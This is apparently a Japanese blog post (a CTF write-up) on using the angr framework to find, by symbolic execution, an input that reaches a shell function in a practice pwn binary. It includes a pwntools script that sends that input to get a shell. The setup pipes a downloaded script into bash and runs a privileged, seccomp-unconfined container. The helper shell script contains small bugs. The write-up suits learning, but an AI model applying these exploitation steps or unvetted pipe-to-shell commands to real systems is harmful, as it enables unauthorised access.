zer0_1s

zer0_1s

探索不止

オートパウン

実際には、D0g3 ラボの i0gan 師匠が auto pwn のバイナリ掘削の例を紹介しているのを見て、何が起こるのか非常に興味があります。

1.angr python フレームワーク#

What is angr?
angr はバイナリを分析するための python フレームワークです。静的および動的シンボリック(「concolic」)分析の両方を組み合わせており、さまざまなタスクに適用できます。

これは、UCサンタバーバラのコンピュータセキュリティラボ、アリゾナ州立大学のSEFCOM、彼らの関連CTFチームであるShellphish、オープンソースコミュニティ、@rhelmotによって提供されています。

concolicは単語concrete(具体)とsymbolic(シンボリック)の混合体です。concolicテストは、シンボリック実行(プログラム変数をシンボル化された変数として扱う)と具体的実行(具体的な入力を含む)を同時に使用する混合型のソフトウェア検証技術です。

2.angr 環境のデプロイ#

install docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

docker pull

docker pull angr/angr
./setup.sh -i -e angr

# dockerでangrを使用する方法 
docker run -itd --name angr angr/angr
docker exec -it angr bash
su angr # rootユーザーにはangrの環境がないため、angrユーザーに切り替える必要があります
#! /bin/sh
# Author: i0gan
# docker angrを起動するためのスクリプト
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
		exit
fi
script = $1
docker run -it \
					  -u angr \
						--rm \
						-v $(pwd)/${ctf_name}:/ctf/work \
						-w /ctf/work angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/ctf/work/$script" $2 $3
docker run -it \
	--rm \
	-v $(pwd)/${ctf_name}:/ctf/work \ 
	-p 23946:23946  \	
	--privileged  \
	--cap-add=SYS_PTRACE \
  	--security-opt seccomp=unconfined \
	pwndocker  

3.angr の初歩#

angr 学習(一)

4.PWN 問題の自動掘削の例#

AUTO PWN|34 期

成信 D0g3 師匠が迅速に対応する問題を提供してくれたことに感謝します;

root@DESKTOP-4VN4G0C:/Desktop/pwn# checksec pwn1
[*] '/Desktop/pwn/pwn1'
    Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
      NX:       NX disabled
     PIE:      No PIE (0x8048000)

IDA に対応する逆アセンブルコード、次にその論理を分析します:

image

int sub_804870E()
{
  int result; // eax
  char v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+1Ch] [ebp-Ch]

  result = atoi(&input);// '\n'の場合はデフォルトでcase 0、他に1,2、その他の分岐があります
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = sub_80486F5(); // シェルを反発
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)&v1, 16); // 理論的にはパスワードを入力するが、マッチしないとパスワードがいくつか分からない
      dword_804A06C = 1; // シェルを反発するための重要な変数
      break;
  }
  return result;
}

D0g3 の師匠が提案した方法は、angr フレームワークを使用してシェル関数にジャンプすることです。赤色にジャンプできれば良いのです。

image

target_addr = 0x08048783

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # シェルを呼び出す
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/pwn1 1e40bd134aa7:/home
root@DESKTOP-4VN4G0C:/Desktop/pwn# docker cp /Desktop/pwn/script.py 1e40bd134aa7:/home

image


from pwn import *
import os
from binascii import a2b_hex

io = process('./pwn1')
print('Solving...')
payload = a2b_hex('310a320a')
io.send(payload)
print('Get shell')
io.sendline(b'whoami')
io.interactive()

image

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')

def angr_main():
    pj = angr.Project('./find_flag')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x1229) # シェルを呼び出す
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

この記事は xLog というプラットフォームのテストに関するもので、今後は CTF のバイナリ方向には参加しないかもしれませんが、興味深い議題やテーマには引き続き注目するかもしれません。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。